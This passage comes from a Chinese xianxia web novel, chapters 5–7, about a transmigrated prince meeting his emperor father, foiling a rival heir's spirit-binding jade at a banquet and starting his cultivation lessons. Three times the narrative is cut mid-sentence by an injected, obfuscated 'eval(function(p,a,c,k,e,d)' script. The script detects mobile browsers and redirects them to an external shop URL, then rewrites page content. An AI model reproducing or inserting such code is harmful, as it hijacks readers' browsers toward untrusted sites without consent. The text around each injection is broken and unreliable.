以楚河当时的反应来看,周竟天应该比他还要强上一线。这一万年来太子之位空悬,自己凭空冒出来,周竟天当真没有别的想法? 他刚想到这里,万垂云小心开口:“殿下,小王爷虽然有些桀骜,罪不至此啊……” 周见素险些被自己的口水呛死,扯起嘴角,拍拍他的肩膀:“你想多了。” 人家是元婴大圆满,我是还未踏入炼气期的普通人。 你怎么会觉得我能对周竟天下手? 万垂云哈哈一笑:“是臣冒犯了。” 话虽如此,他的眼神却写满不相信。 周见素:“……?” 季明到底跟他说了些什么东西? 他还想说话,行舟忽然拔高,远处骤然一亮。 周见素极目望去,却见亮起的并不是阳光,而是前方闪烁的琉璃金顶。 京都大门高耸入云,皇庭的规模更大,一眼望不到尽头。他眼中唯有纵横万千的华光,整个皇庭好似一条金龙,伏卧在云端。 狂风大作,吹起周见素的长发。行舟微微下降,自金顶正门下穿过,他仰头望去,群鹤振翅而起,恍惚从凡俗来到了仙界。 宫门外百官相迎。周见素来不及细看,行舟一掠而过,惊鸿一瞥,他只瞧见了寥寥几人的侧脸。 “我们不下去吗?”周见素问。 万垂云老神在在:“不急,我们先去见陛下。” 周帝,周望。 这个名字周见素已经听过很多次。 天下五大皇朝,周朝建国最早,疆域最广。周帝千年不曾露面,却依然能稳住江山,自然并非常人。 作为周见素名义上的爹,这本应该是他强有力的后盾。但他早就换了芯子,如果不是迫不得已,周见素更希望不要看见对方。 当然也有传言说,周帝重伤多年,早就死了。 不过……周见素微微打了个寒战,不敢继续往下深思。 万垂云带着周见素穿过宫门,走到皇庭深处,一片虚无之地。 “臣送殿下到这里。”万垂云拱手,后退两步,“殿下稍侯,会有人来接。” 周见素独自站在风中。 四周无人,此地一片空旷,并不像什么紧要之地。 周帝找儿子,找得天下皆知。现在他被季明拽来了,皇帝却不见踪影,也不知道是真在意,还是拿他当筏子用。 周见素对自己的未来并不乐观。 正如此想着,眼前忽然飞来一块金符。周见素微微一惊,见那枚金符没有动静,伸手轻轻握住。 霎时间,天旋地转。 他先听见一阵锁链绞动声,紧接着昼夜颠倒,日月旋转,再回神时,已经站在了洞府中,长桥之上。 周见素打量着这里。 一朝帝王闭关所在,自然与寻常洞府不同。 这里更像是独立世外的天地,长桥下薄雾氤氲,雾气中隐隐有鱼尾甩动。更远处是更浓的雾,将群山笼罩在浓雾之下,什么也看不清。 周见素弯腰行礼:“臣周见素,拜见陛下。” 他在府邸中站了许久,却没有听见任何声音。 周见素不由得心中嘀咕:难不成皇帝真的死了?还是说他不想看见自己? 前者显然不是好事,后者也不一定是好事。 他正胡思乱想,府邸深处突然发出一声轻响。一道声音直接出现在他脑海中,语调平平:“周见素?” 周见素心神一凛,维持着行礼的姿势:“是。” 男声沧桑,显然经过了岁月的洗礼。 短暂的停滞后,他淡淡道:“吾儿,朕还需闭关,不能见你,这玉碟上记录了你的名字。朕已为你寻一良师,一应事务若有不明之处,便去明心阁,找季太傅教你。” 话音落下,府邸深处飞出一道金色纸页。 周见素抬手接过,那纸上写着两行字,正是刚才说过的内容。 周见素本就担心自己“夺舍”暴露,乐得不见,干脆道:“是,那臣去了。” 他抬腿要走,却抬不动。男人把他摁在原地,声音威严起来:“你该自称儿臣。” 周见素脸色微变。 他倒不是不愿意认这个爹。既然这具肉身是周帝的儿子,叫一声又有什么不得了? 只是他前世活了二十几年,无父无母无亲友,突然跳出个爹,好像真有点烫嘴。 他磕巴一下:“……是,儿臣告退。” 皇帝松开威压,声音再次响起,这次温和了很多,更像是父子之间的私语:“去吧,待朕出关,再为你举办册立大典。” 周见素匆忙应是,拔腿就走,脚步匆匆,身影很快消失无踪。 洞府深处。 一个身穿帝袍的男人缓缓睁开眼睛。他鬓边已见白发,眼瞳中闪过重重阵纹,灵光浮现。 他隔着虚空,注视着周见素远去的背影,喃喃道:“周……见素。” 这个名字念得很缓慢,好像要把它沉入记忆中。片刻后他再次闭上双眼,紧绷的嘴角放松下来。 * 楚河回到楚朝皇庭。 楚帝负手而立,不等楚河告罪,便先问道:“发生了什么?” 楚河将镇天府中发生的事情原原本本地说了一遍,重点提到周见素,又说:“崔山青很怕他。” 楚帝拧眉:“周望这老东西,又在打什么鬼主意?” 楚太子站在下首,淡淡道:“周知白死后,周朝万年未立太子。周帝命不久矣,他早该急了。这周见素若不是有惊天资质,岂能压过他那些兄弟姐妹?” 这个兄弟姐妹,倒不是指周帝的其他儿子。周帝膝下只有两个儿子,一个死了,一个刚认回来,可宗室总有几个拿得出手的人物。 楚帝想到这里,忽然笑了:“你说得对。周见素,周见素……周望什么时候又生了个儿子?” 楚太子没有在意:“以前周知白活着,周望畏惧妻子,不敢拈花惹草。现在他都死了,恐怕周望也不想把皇位拱手让人。” “不错。”楚帝思索道,“崔山青是个废物,却也是个化神期的废物。他既然怕那位新太子,恐怕是见过什么……” 楚河肃然道:“父皇,不如让儿臣再探天断谷!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648332|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚帝呵呵一笑,声音温和下来:“天断谷岂是你能去的地方?镇天府府军将领既在,叫他去天断谷一探。” 楚河、楚太子二人齐声道:“是!” * 周见素出了府邸,回身望去。入口处仍旧是一片虚无,他将元气运转至双瞳处,仍然什么也看不见。 倒也正常。 周见素摇摇头,心道:要是随便一个炼气修士就能找到入口,这周朝差不多也完了。 万垂云还在等他,目光落在周见素手中的金色纸页上,笑道:“陛下果然很高兴。” 周见素被他说得恍惚了,回忆起皇帝的语气,实在不记得哪里有半点高兴的样子。 那声音不是硬邦邦的么,他起初还以为皇帝看出他这芯子不对,要杀人呢。 而且…… 万垂云怎么知道的? 万垂云听见他的疑问,抬手指了指远处云端上的古铜巨钟:“圣旨已下。季大人乃是本朝难得的能人,臣在此恭贺殿下了。” 周见素秒懂。 季明任太子太师,皇帝昭告天下,说他是自己的老师,即使还没有行册立大典,这意思也足够明白了。 周见素心里直嘀咕,总觉得不太对劲。 万垂云是边关守将,只是季明没走,帮他顶了这段时间的职责,才让他有空四处乱跑。现在新太子送到,他也该回程了。 他将周见素送到东宫,笑道:“殿下,臣下次回朝再来看你。” 东宫独立在皇庭之侧。周见素走进这座宫殿,看清里面的事物时,默默停住了脚步。 正厅金碧辉煌,照得他两眼刺痛。头顶漫天星辰化作星盘,正循着星图流转。 而他面前,则站着一群身着黑衣的修士。 人群最前方是个年轻女子。她穿一身劲装,脸上带着些许伤疤,面无表情地行礼:“暗卫统领任不争,见过殿下。” 周见素:“任不争?” 修行之路,岂能不争? 任不争也是第一次看见这位新来的殿下。 第一印象是瘦弱。 修士不炼体,但绝不会像这位殿下一样瘦削。而且……他似乎生得也很温柔的模样。 但任不争绝不会因此误会。 修仙界中,最不能得罪的有两种人,一是小孩,二是病秧子。越是看起来弱不禁风,打起架来越凶猛。 前不久与万垂云联络,对方还特意提醒过她:“初见二殿下,不知殿下去哪里杀了人,满身都是血,前不久又追问周竟天的事,看起来很在意——一定要小心啊!” 任不争的想法周见素暂时猜不到。 他不喜欢被人围观,也不太习惯指使别人做事,何况他对任不争实在不熟悉,并不太能托付信任:“你们先去休息吧。” 任不争缓缓退出宫门。 周见素总觉得任不争有些小心,却想不明白自己哪来那么大威慑力。 他走进书房坐下,看见长案上摆着一面水镜,抬手轻触,一道温和的声音传来:“臣已为殿下备下护卫,若有不妥,臣回朝后再做调整。” 任不争是季明的人? 周见素随口回答:“没有什么不妥。” 水镜里没有声音,想来这只是一道留声。 周见素将心思转开,开始今天的修行。 在行舟上的几天,他的修行进度远比自己预计的快,已经将五道先天元气炼化得七七八八。 只要再给他几天时间,就可以正式踏入炼气境。 时间过得很快,天色渐渐暗沉,金顶上传来一道钟响,将周见素惊醒。 他睁开眼睛,只见一只通体金黄的鸟儿振翅飞来,落地化作黄发童子,恭敬道:“二殿下,我家主人听说您初至皇庭,今夜在城中设宴,为您接风洗尘。” 周见素在这皇都半个人都不认识,皱眉问:“你家主人是谁?” “我家主人是东王世子。”小童子骄傲挺胸,看周见素满脸迷茫,只好补充,“大名周竟天。” 5. 第 5 章 周见素听见这个名字,立即悟了。 周竟天,原来他是东王世子。这位小王爷向他发下请帖,恐怕不只是为了接风洗尘。 周见素略作思索。 如果让他自己选,其实他并不想去赴宴。但有句话说得好,韬光养晦,养得太久,谁都以为你好欺负呢。 他点头应下:“好。” 童子连忙将请柬递上:“我家主人等候您大驾。” 看起来和谐万分,然而众人都忽略了一个问题。 这京城,周见素是真不熟。 他循着请帖上的位置,出了宫门,不出十步,立刻迷路。 聚仙楼。 往日辉煌的楼宇今日被横扫一空,一层大厅空无一人,周竟天等人则在二楼等候。 周竟天独坐上首,平心静气地问:“咱们这位二殿下的威名,你们都听说了吧?” “当然。”下首坐了四五名青年男女,立刻有人回答,“崔山青真是丢了化神的脸,胆子居然小成这样,无耻至极!” 崔山青败退镇天府,幸好还捡了条命,将周朝这点破事宣传得天下皆知,别的倒也不多说,就逮着周见素薅。 周二皇子人在家中坐,却已然威名赫赫。 成了传闻中恐吓元婴后期,惊走化神初期,纵横天断谷来去自如,藏锋于谷内的暗黑学宗师级人物。 周竟天想起崔山青,忍不住皱了皱眉:“今天见了二殿下,咱们就能知道其中几成是真了。” 在场都与他亲近,有些话不必说得太直白,却也不用太隐晦。 下首一名微胖青年立即起身,凑到周竟天面前,压低声音:“我离府前从库房里带了这东西出来,正好可以测测他的虚实。” 周竟天低头看去,只见这人手中躺着一枚玉符,顿时认了出来:“这是定神玉?” 有人犹豫:“这不合适吧?” 定神玉专攻灵识,修为稍弱一分,就会被定在当场,毫无反抗之力。 不过这东西也珍贵,说是带出来,实际上是从家里偷的,要是被知道用来干这事,被抽死都不冤枉。 “这有什么。”这人嗤笑一声,“我只是不小心落在了那里,还能真的告上门来?那丢脸的也不是我。” 话音落下,他催动元气,顺手一丢,。玉符划出一条优雅的弧线,稳稳落在楼梯入口处。 “这多简单,要是上不了,崔山青估计就有问题了。” 众人叽叽喳喳,坐在最角落处一名女子忽然开口:“周竟天,二殿下似乎不准备来了。” 周竟天转头看去,女子平静道:“已经很晚了。” 酒楼里坐着的这一群二世祖,要么是真闲得无聊来看戏,要么是不怀好意煽风点火,闻言不敢置信地对视一眼。 “难不成殿下放我们鸽子?” “不应该啊……” “总不能是迷路吧?这个借口未免太虚伪了。” 虚伪的周见素在大街上团团转,绕过又一条灯火通明的街道。 任不争跟在他背后,提醒道:“殿下,前方有一家酒肆,要进去坐坐吗?” 周见素有些无奈:“我要去聚仙楼,去酒肆做什么?” 任不争愣了愣:“殿下要去赴约?” 周见素也愣了:“对啊。” 任不争觉得自己好像误会了什么。她脚尖微动,朝向截然相反的方向:“殿下,聚仙楼在那头。” 周见素:“……” 他沉默片刻,终于问:“你知道路?” 任不争心说,我当然知道。 周见素又问:“那你怎么……”不提醒我? 任不争看懂了他眼中的迷茫,其实她也很迷茫:“属下以为殿下故意晾着东王世子。” 周见素无言以对,立刻调转方向,朝聚仙楼赶去。 这会儿天已经黑了,好在修仙界没有宵禁。 听见周见素的脚步从大厅里传来,周竟天精神一振:“来了!” 他这会儿心情十分复杂,既不想看周见素丢脸,也不想看周见素太强。 周见素无意间中晾了他们许久,的确不是故意的。他走上二楼,很抱歉地说:“诸位,实在抱歉,我初至京城,不慎迷路,好不容易才找过来……” 他走到众人面前,抬头一看,围着圆桌团坐的几个人都盯着自己,中间穿得最奢华的少年,满脸不可描述的复杂。 “……”周见素诚恳道,“我来迟了,先自罚三杯——” 他目光一扫,桌上并没有酒。 周竟天没心情说话,迟疑地回头,目光示意:你这块定神符是针对多少修为的? 小胖子目光波动:化神啊…… 两人目光交错,再看周见素腼腆温和的神情,同时激灵灵打了个冷战。 走得这么举重若轻,半点感觉都没有,这至少也是个化神境啊! 两人在心中齐齐想:太虚伪了! 周竟天二人不吭声,角落里那女子倒站了起来,自我介绍:“我是周闻全。” 周见素含蓄微笑:“久仰大名。” 其实他根本没听说过。 这边聊得欢快,那边周竟天早就憋不住了:“今日在皇都金顶下,臣见过殿下一面,不知殿下还记得我否?” 周见素这才侧过脸去,认真打量他的眉眼。 今早在皇都外,惊鸿一瞥,的确看见了几个人的侧脸。只是速度太快,周见素不记得有没有这位小王爷:“抱歉。” 毕竟当了几百年的世子,周竟天维持着礼仪,只是语气有些僵硬:“殿下贵人多忘事,不记得也正常。我仰慕殿下已久——” 周见素静静地看他表演。 “敢问殿下是什么境界?” 哪壶不开提哪壶? 周见素看着桌上酒席,沉默片刻,随口反问:“难道小王爷看不出?” 修仙界弱肉强食,是亘古不变的法则。这句话说得很讨巧,反正我不主动告诉你,至于周竟天究竟怎么想的…… 周见素并不想知道。 他只想吃饭。 周竟天微微凝眉。 他好歹是个元婴期,现在盯着周见素看了半晌,怎么都觉得不对劲。 气息像是炼气期? 可别逗他笑了。 灵识已逾化神期? 谁家化神这么虚的? 可那块定神玉摆在面前,的的确确是真实的。 周竟天乃东王世子。皇帝众多兄弟姊妹,活着封王的也就四个,可见功劳之大,战力之强。 周见素出现前,年轻一辈向来以他马首是瞻,除了不太合群的南王世子,谁是他一合之敌? 太子之位不重要,但是让他对一个突然冒出来的家伙俯首称臣…… 实在憋屈。 别的不多说,好歹得露两手吧? 周竟天:“正想与殿下讨教一二。殿下可知诸天战——” 话音未落,周见素忽然想起什么,从怀里摸出一块玉符:“对了,刚才在楼下看见此物,应该挺值钱,不知是不是哪位落下的?” 周见素摊开手。 手掌中央,端正地躺着他们刚才故意摆在那里的定神玉。 周竟天的声音戛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648333|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而止,险些咬到舌头,脸色唰地隐隐发白。 他转头:“……武三。” 微胖青年连忙走上前,讪笑着伸出手:“诶!是我不小心掉的,正找呢,多谢殿下。” 玉符入手微凉,武三浑身一僵,顿时立在原地,无法动弹。 立在一旁的周竟天像是也中了招,直挺挺地站着不动。 周见素:“?” 这两人咋了? 周闻全给自己戴上手套,拿走玉符,转身时警告地瞪了周竟天一眼。 周竟天格外憋屈:分明是他在恐吓我!! 他张了张嘴,想说什么,又默默咽了回去。脸已经丢得差不多了,更没有继续虚与委蛇的心情,和武三对视一眼——算你狠,惹不起我还躲不起吗? 周见素走到座位后,拉开椅子,正要坐下,忽然听见周竟天低沉的声音:“殿下,府中忽然有些急事,需要我回去一趟。” 周见素茫然抬头:“啊,那你……” 饭不吃了吗? 周竟天脚步极快,已经走到门口,向他拱手行礼:“我得先走了,这边劳烦表姐。” 他看向周闻全。 周闻全无语至极,心道现在犯怂了,倒把烂摊子丢给我,嘴上却只吐出几个字:“知道了。” 周竟天原本做东,此刻突然要走,格外失礼,场面一时十分尴尬。 好在周闻全虽然少言少语,行事还算妥当,接过表弟丢下的烂摊子,招呼众人开席。 周见素确实是冲着吃饭来的。他下行舟已经一整天,滴水未进,又尚未辟谷,早就饿得不行。 他顺手帮任不争拉开椅子,先说了几句场面话,这才拿起筷子。 任不争默默杵在原地。 周见素抬起头:“你不吃吗?” 任不争低头看他:“臣是殿下的护卫。” “……但你站在这里。” 他对自己目前的身份还没有实感,被别人看着吃饭也并不会更香。 任不争与他僵持两秒,在他坚持的视线下,终于屈服,默默坐了下去。 别人吃得开不开心,周见素不在意。 众人默默往他脸上打量的视线,他全装作没有看见,只偶尔冲对方露出和善的笑容。 然后在对方慌忙转开视线时,不动声色地夹走最大块的肉。 好酒好菜,他吃得格外满足,放下筷子时由衷感慨:人生不外乎吃喝玩乐四字,这是最大的追求了。 修行? 要不是为了活命,他都懒得修炼。 只是充当陪客的几位青年,似乎有些莫名的小心谨慎啊。 周见素不太在意地想:那位东王世子得多吓人呐,他都走了,这群人还坐立不安。 一顿饭吃得宾主尽欢,周见素默默记下酒楼名字,可惜没看见店主,否则他还得打听打听这一桌酒菜多少钱,日后找个机会请回来。 任不争:“殿下心情很好?” 周见素点头:“没想到东王世子看起来跋扈,实际上人不错。” 任不争:“……” 果真吗? 为什么她和殿下看到的不像是同一个人呢? 这顿饭耽搁了太久,周见素自觉开始修炼,两人各自占据一方,互不打扰。 偌大的宫殿寂静无声,任不争倚在角落,忽觉天地封锁,锁链声响。 伴随着更漏声响,流水潺潺,蔓延入这一方天地,所有声音都被拉得很长。 任不争心中惊疑,爆发元气,却听来人轻叹一声,单指按下,立即被锁在原地,只能睁着眼睛,看着来人。 6. 第 6 章 任不争没有看见任何人。 来人轻巧地越过她,来到周朝未来太子面前。他并不算高大,长发披散,手中捏一串珠串。 周见素没有意识到变化的发生。他只是一个炼气修士,不发现才正常。 来人低头看着他,眼中神色变幻,最终将手中珠串举到周见素头顶。 他双手合拢,珠串在他掌心寸寸崩裂。碎珠四溅,被定在半空中,化作道道游鱼,朝周见素五窍中钻去。 周见素忽然有些难受。 头痛欲裂,一股难以抑制的疲倦涌上心头。 睡吧,睡吧……好似有人在这样对他说。 周见素的意识逐渐沉沦,睡去前一刻,他忽然心神一凛:不对! 头痛欲裂,为何想要睡去? 这种感觉实在太熟悉了,像他前世病发,也像穿越后几次昏迷的场景。 他奋力挣脱这种迷糊的感觉,忽听远处遥遥一声轻响,有人低声呵斥,道音弥漫:“醒来!” 这一声比他自己挣脱更快,周见素立即清醒七分,来不及思考是谁在说话,意识上浮,抵达灵海。 他浮出水面,猛地怔住了。 原本灵海的面积远远没有现在宽阔。一夜之间,灵海横跨千里,面积直接翻倍。 周见素不知道这是什么情况。玉珏中那道身影曾说过:如果他的灵海继续扩张,肉身无法承担这份力量,他早晚会被撑死。 现在看起来……更糟糕了。 周见素忍不住想:自己还能活多久? “你还可以活很久。”男声缥缈,闯入他的灵海,“我死之前,你不会死。” 周见素吓了一跳,稳住心神,强做镇定,问:“你是谁?” 他一边说着,一边睁眼看去。这一眼吓得他险些魂飞天外。 他面前是一道通体金黄的灵体,给人的感觉着实奇怪,既强壮又瘦削,既高大又矮小,若有若无,似真似幻。 这道灵体沉默片刻:“我是谁?你哥哥就不会问这个问题。” 周见素有些明悟,半信半疑:“你是……陛下?” 周帝微微颔首。 “陛下……” “唔?” “父皇。”周见素听懂了这个意味不明的哼声,立刻换个称呼,“父皇有什么话要对儿臣说,怎么深夜而来?” 其实他更想问,你堂堂周帝,怎么不走寻常路? 周帝好像听见了他的心里话,幽幽道:“朕真身闭关,出不来。” 周见素心道:我还以为你不想见我,是随口编出来的托词呢。 “小子。”周帝很不满,“朕从无虚言。” 周见素惊悚地看着他。 周帝:“朕想来看看你。” 他不准备解释,譬如自己为什么能猜到周见素的想法。当然是因为两人血脉相连,自己又是魂体,一半意志力都在控制周见素的灵海,要猜几句话,并不是很难的事情。 周见素第一次听见这样温和的、纯粹的关怀,居然很不适应:“多谢父皇关心。” 周帝点点头:“你这灵海扩张得太厉害了,朕替你压缩回去。你也要早些修到筑基,那时候,这灵海才不是你的催命符。” 周见素连忙应下,忽然又有些狐疑:“父皇……你一来,我的灵海就扩张……” 很有嫌疑啊! 周帝前一刻还很有聊天的意思,此刻却立即沉默,周见素原本只是怀疑,现在当真确定了:这绝对是便宜老爹搞的鬼! 但他居然还很享受这样静谧的时刻,在悄无声息、旁若无人的时空里,感受这短暂的一瞬。 周见素看不清周帝的眉眼,只觉得他的身影蒙在一层若有若无的金光中,投来的目光充斥着暖意。 周见素恍惚地任由他操作,心中忍不住想,若他发现自己不是原装货,恐怕会当场大发雷霆,一巴掌把自己劈死吧? 他在这边胡思乱想,那边周帝已经将灵海全部压缩回去,只是仍然扩张了显眼的一大圈,他顿时皱眉不止:“要勤加修炼!” 周见素连连点头,又有些冤枉:“儿臣一直都在修炼。” “罢!”周帝身影逐渐破碎开,那道滴水声终于由远及近,发出一声嗡鸣。 周帝灵体归位,时空重回天地,封锁退去,一切恢复正常。 任不争终于挣脱封锁,拔身而起,冲到周见素面前,骇然道:“殿下?!” 却见周见素好端端地坐在那里,冲她点头:“我很好。” 也不知道周竟天那群人里到底有几个大喇叭,第二天一早,两人约战的事情就传得满朝皆知。 周朝皇庭人丁不兴,皇宫里更没有几个人。 周见素惦记着自己最后那点还未炼化的元气,想起季明远在镇天府迟迟未归,既然如此,应该是没有什么事情的。 于是他对任不争说:“这段时间我要潜心修炼,如果没有大事,就先替我拦下来。” 任不争认真点头:“属下明白。” 周见素是个不爱交际的性格,没人打扰,他能窝在家里半个月不动弹。现在换了个地方,他照旧每天窝在寝殿,无事不出门。 外面的传言,他一概不知,即使知道,他也并不在意。 直到闭关第三日。 一大早,门被拍得咚咚作响。周见素炼化完最后一丝五行元气,从修炼中清醒过来。 任不争站在不远处,有些纠结地问:“殿下,要给他开门吗?” 周见素还没来得及说话,拍门声越发急促,可见外面的人究竟有多暴躁。 “给他开门。”周见素说着,开始思考又是哪个家伙来找茬。 周竟天? 前两天才见过,他这么闲?不至于吧? 除此之外还会有谁? 大门打开,外面站着一个书生白面的中年男子,乍一看,真和书里的读书人一样。 读书人张开嘴:“殿下!修行亦如行舟,不进则退,岂能因一时优胜而惰怠?” 周见素简直莫名其妙。 何出此言呐!他什么时候偷懒了?! 来人痛心疾首:“殿下,臣不得不谏言……” “且慢!”周见素伸手截住他,缓缓站起身,“敢问阁下是?” 男人的气焰凝固一瞬,顿足道:“臣乃太子少师裴昭,奉旨在明心阁等候殿下,始终不见殿下。臣有言不吐不快……” 裴昭的口水都快要喷到周见素脸上了,周见素一阵恍惚:“我怎么不记得这件事?” 明心阁他是知道的,但他记得自己的老师是季明啊?那位不是还在镇天府吗? 没有人通知他啊! 裴昭一噎:“殿下不知道?季大人若不在,一切事物由臣代理……” 也就是说,现在周见素又有了一个老师。 周见素没话说了。 裴昭满腔悲愤,却不知对象一无所知,喃喃道:“臣日日遣童子来请,殿下却毫无反应……” 周见素:“……” 他看向任不争。 任不争很无辜:“这不是什么大事,属下拦下了。” 殿下修炼才是大事啊。 裴昭:“……” 周见素:“……” 周见素轻咳一声,轻巧地掠过这个话题:“裴大人,劳您亲自跑一趟。” 裴昭终于发现事情和他想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648334|206821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 象的不太一样,也连忙收敛神色,好似刚才的一切从未发生过:“此乃臣分内之事。” 两人并肩而行,任不争尾随在后。 只见二人言笑晏晏,好一对师生,着实令人感慨,当真亲厚和睦。 三人行至明心阁。 明心阁是太祖在位时,为皇亲国戚读书所设,上一个在此地求学的还是西王世子。 此人已经两百多岁,离开学堂一百余年,此后明心阁封存,再无一人。 裴昭已在三天前重启明心阁。 周见素走到桌案后。 裴昭算是他的老师之一,但与季明不同,因此只相对作揖,算是全了师生之礼。 两人相对而坐。 裴昭展开手中书册,正要按部就班地往下念,想了想,又重新合拢:“殿下久居深山,若有不解之处,还请发问。” 周见素严肃起来,在裴昭期待的目光中,他缓缓道:“先生,先与我讲讲修行入门吧。” 裴昭当场裂开。 他简直怀疑自己耳朵出了问题,但迎着周见素郑重其事的面孔,又迅速猜到了二皇子殿下的心思。 我与殿下初见,修行之中一应心得体悟,若要彼此交流,从根基之处开始,应是最为合理的。 殿下虽久居深山,于修行一道却有深见啊。 不急不缓,这才是正道。 “以臣之所见,修行,是夺天地之造化修吾身。与天相争,这就是修行的本质。” 在裴昭口中,周见素第一次系统性地了解这个世界的修行之路。 “灵根,大道之始。凡人吸纳元气,这第一缕元气就是脱胎凡俗的根基,也是后面每一个境界的基础。这缕元气越强,基础越好,走得更远。” 周见素忽然想起那个背影也说过,先天五行元气,是他超过旁人最大的依仗。 原来是这样。 寻常人家的修行者,一步慢,步步慢,若没有奇遇,怎么比得上世家。 周见素想到这里,微微苦笑。 世家寒门之争,真是每个世界亘古不变的话题。 裴昭不生气的时候,是个很好的老师。 “炼气之后是筑基。筑基,就是要打牢根基,为凝聚元婴做好准备。筑基一是吸纳元气,二是凝练灵海。” 裴昭指着头部,眉心所在:“灵识化为有形之物,落在此地,滴水成海,即为灵海。灵海形成,再练灵体,二者合一可成元婴。” 裴昭自己就是个化神境,讲到这里停了停,带点期待地看着周见素,等待他也讲一讲自己的心得。 周见素完全没有接受到裴昭的潜台词。 他想了想,尊师重道么,这倒很简单,于是和气地说:“多谢裴师。” 裴昭连忙表示“此乃我分内之事”,两人对坐着,周见素把手里的入门法简单翻了一遍,忽然问:“我有哪个兄弟姐妹也是五灵根?” 裴昭微微一愣,疑惑道:“什么意思?” “随口一问。” “没有。” 没有? 周见素不太相信:“我的兄长是……” “长公子是水属性单灵根。”裴昭显然很疑惑,“难道殿下得知了什么五灵根的秘辛?” 周见素仍有些疑惑,想起与季明在镇天府客栈里对方的神情,就觉得这事不太对。 但这不好和裴昭讲,他只好点点头:“多谢裴师解惑。” 裴昭松了口气,正要告辞离去,忽听周见素又问:“我还有一事请教先生。” “殿下请讲。” 周见素问:“不知季太傅在何处?” 他想不明白,想与季明再见一面。 7. 第 7 章 季明身在镇天府,仍然没有离开。 楚朝驻军将领接到上级命令,一把揉碎传讯符,唤来下属:“准备准备,明天去天断谷。” 下属愕然,脖子嗖一声伸得老长:“将军,天断谷可是天下五大绝地之一,修士有去无回,崔山青那群人都死得差不多了……” 崔山青能活着回去,算他运气好,但…… “你要抗令?”将军两眼瞪向颈侧那张脸,冷冷问。 下属无力反抗,连忙缩回脖子,憋屈道:“不敢。” 将军看着自己的下属离开,这才轻哼一声:“怂货。” 等了一阵,他又跳脚骂道:“怂货!” 不知是在骂谁。 他在原地踱步,突然想起刚才提到的崔山青,轻呼一口气,立刻传讯过去:“崔兄,你去过天断谷,可知晓其中有什么危险?” 崔山青正在飞驰。 所有法诀中,他就数遁术修炼得最好,此刻身影忽隐忽现,不断遁入虚空,又不断被人轰断行踪,被迫跌出。 崔山青一边跑,一边破口大骂:“该死的季明,杀千刀的玩意儿,追着老子是要干嘛,我是招你惹你了??真不是个东西!!” 这时,楚朝将军的废话飘了过来。 五大皇朝之间,各级将领有些私交,是上不管下不知的私事。当然,虽说私交,实际上也是死道友不死贫道的塑料友谊。 崔山青此时被追得上天无路,入地无门,极度不满。逮着楚朝将军正要骂两句发泄,忽然福至心灵,笑歪了嘴,回道:“天断谷你还不知道?说是五大绝地,我们化神境也不是去不得。你要进去?” 将军听了这番话,稍微松了口气:“上有命,我们这些臣属可不是只能奉命行事?” 崔山青目光微凝。 楚朝和周朝争斗已久,天断谷有什么?说白了,还不是冲着周朝刚寻回去的那位殿下? 一想到周二皇子,崔山青就激灵灵打了个寒战。但他再回头看见背后紧追不舍的季明,畏惧就瞬间化作愤怒。 他立刻折纸回信:“这好说,我这几日正准备去一趟,不过报酬嘛……” 将军听到回讯,略有些迟疑,不过想来崔山青如果没有把握,也不敢入谷。 两人聊了两句,定下报酬。崔山青终于图穷匕见:“现在我要收一点定金。道兄,你来我这里,我在炼药,正缺一味药材。” 将军犹豫道:“你炼药,我来作甚?你崔山青手底下,还没几个道童?” “呸!”崔山青破口大骂,“你以为我想见你?要不是倒霉……你来不来?你敢不来,明天自己滚蛋!” 将军略一思索,心道:大家都是化神,你崔山青还能害我不成?就算害我,跑总跑得掉。 遂循着崔山青给出的阵纹,施展符法遁空而去。 崔山青感应到空中波动,心神大定,停下逃窜的步伐,畅声大笑:“季明小儿,你再追我,定叫你有来无回!” 回应他的,是季明的轻笑:“是吗?” 将军一只脚从传送阵中踏出,一只眼睛在虚空中转动。他下意识地寻找崔山青的丹炉,却什么也没有看见。 等传送阵彻底稳固,他终于看清自己所在之地,登时大骇! 就在他的面前,一道惊天剑光横扫而来,所过之处,空间震颤,山河崩摧! “崔山青!”他惊怒交加,来不及怒斥对方,先祭起兵器,抵挡这一剑之威。 崔山青刚才躲得老远,现在赶到他身边,尬笑道:“将军别气,咱们两个化神,还打不过他一个?” 将军闻言精神一振。 季明沉默不语,只是挥剑。 剑在他手中如指臂使,强横无匹,将两大强者同时震得吐血倒飞。将军好不容易稳住身形,却见崔山青默不做声,竟转瞬间跑出了千万里地。 “崔山青——!!”将军仰天怒吼。 崔山青奔得极快,心道:死道友不死贫道,这季明也不知什么时候突破了化神后期,瞒着我们,要阴死人…… 呜呼,幸好我跑得快! 